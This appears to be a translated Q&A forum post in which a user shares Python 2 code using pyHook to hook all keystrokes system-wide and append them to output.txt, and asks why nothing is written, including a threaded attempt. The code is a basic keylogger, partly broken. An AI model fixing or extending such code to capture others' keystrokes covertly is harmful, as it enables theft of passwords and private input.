import pythoncom , pyHook, time
temp_keylogs = ''
def OnKeyboardEvent(event):
global temp_keylogs
key = chr(event.Ascii)
temp_keylogs += key
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
while True:
f = open('output.txt', 'a')
f.write(temp_keylogs)
temp_keylogs = ''
f.close()
time.sleep(4)
このコードが、4 秒後に実行されたすべてのキーストロークを「output.txt」というファイルに書き込んでいない理由がわかりません。エラーはスローされないので、コンパイルは問題ないと思いますが、ファイルには何も書き込んでいません。
編集:提案されたよう
に追加pythoncom.PumpMessages()
しましたが、それは本質的に 2 つの while ループを提供します。では、これを行うにはスレッド化が必要ですか?
ここでスレッドバージョンを試しました:
import pythoncom , pyHook, time, thread
temp_keylogs = ''
def OnKeyboardEvent(event):
global temp_keylogs
key = chr(event.Ascii)
temp_keylogs += key
def file_write(temp_keylogs):
while True:
print 'yes'
f = open('output.txt', 'a')
f.write(temp_keylogs)
f.close()
temp_keylogs = ''
time.sleep(4)
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
try:
thread.start_new_thread( file_write, (temp_keylogs,) )
thread.start_new_thread( pythoncom.PumpMessages() )
except:
print 'thread not started'
しかし、まだファイルに書き込んでいません。だから、私はまだ何が間違っているのか分かりません。